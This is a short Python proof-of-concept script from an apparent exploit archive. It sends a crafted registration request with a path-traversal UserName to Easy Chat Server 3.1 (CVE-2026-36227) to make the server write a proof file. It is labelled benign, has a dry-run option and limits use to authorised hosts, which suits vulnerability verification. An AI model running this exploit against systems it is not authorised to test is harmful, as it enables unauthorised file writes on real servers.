5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.py PY
#!/usr/bin/env python3
"""Benign verifier for CVE-2026-36227.

This sends the Easy Chat Server registration request with a traversal-style
UserName value. It does not include executable payload content.
"""

import argparse
import socket
import sys
import urllib.parse


DEFAULT_USERNAME = "../../ecs-traversal-proof.txt"


def build_body(username: str) -> bytes:
    form_data = {
        "UserName": username,
        "Password": "proofpass",
        "Password1": "proofpass",
        "Sex": "1",
        "Email": "[email protected]",
        "Icon": "0.gif",
        "Resume": "CVE-2026-36227 benign traversal verification",
        "cw": "1",
        "RoomID": "<!--$RoomID-->",
        "RepUserName": "<!--$UserName-->",
        "submit1": "Register",
    }
    encoded_parts = []
    for key, value in form_data.items():
        encoded_key = urllib.parse.quote(key, safe="")
        encoded_value = urllib.parse.quote(str(value), safe="/")
        encoded_parts.append(f"{encoded_key}={encoded_value}")
    return "&".join(encoded_parts).encode("utf-8")


def build_request(host: str, port: int, username: str) -> bytes:
    body = build_body(username)
    headers = [
        "POST /registresult.htm HTTP/1.1",
        f"Host: {host}:{port}",
        "User-Agent: CVE-2026-36227-local-verifier/1.0",
        "Accept: */*",
        "Accept-Language: en-us",
        "Connection: close",
        "Content-Type: application/x-www-form-urlencoded",
        f"Content-Length: {len(body)}",
        "",
        "",
    ]
    return "\r\n".join(headers).encode("utf-8") + body


def send_request(host: str, port: int, username: str, timeout: float) -> bytes:
    request = build_request(host, port, username)
    with socket.create_connection((host, port), timeout=timeout) as sock:
        sock.sendall(request)
        chunks = []
        while True:
            chunk = sock.recv(4096)
            if not chunk:
                break
            chunks.append(chunk)
    return b"".join(chunks)


def main() -> int:
    parser = argparse.ArgumentParser(
        description="Benign verifier for Easy Chat Server 3.1 CVE-2026-36227."
    )
    parser.add_argument("host", help="target host you own or are authorized to test")
    parser.add_argument("port", type=int, help="target HTTP port, commonly 80")
    parser.add_argument(
        "--username",
        default=DEFAULT_USERNAME,
        help=f"UserName value to submit, default: {DEFAULT_USERNAME}",
    )
    parser.add_argument("--timeout", type=float, default=5.0, help="socket timeout")
    parser.add_argument(
        "--dry-run",
        action="store_true",
        help="print the HTTP request and do not send it",
    )
    args = parser.parse_args()

    request = build_request(args.host, args.port, args.username)
    print(f"[+] Host: {args.host}:{args.port}")
    print(f"[+] UserName: {args.username}")
    print(f"[+] Request size: {len(request)} bytes")

    if args.dry_run:
        print(request.decode("utf-8", errors="replace"))
        return 0

    try:
        response = send_request(args.host, args.port, args.username, args.timeout)
    except OSError as exc:
        print(f"[-] Request failed: {exc}", file=sys.stderr)
        return 1

    print("[+] Response received, first 500 bytes:")
    print(response[:500].decode("utf-8", errors="replace"))
    print("[+] Check the Easy Chat Server web/root directory for the proof file.")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())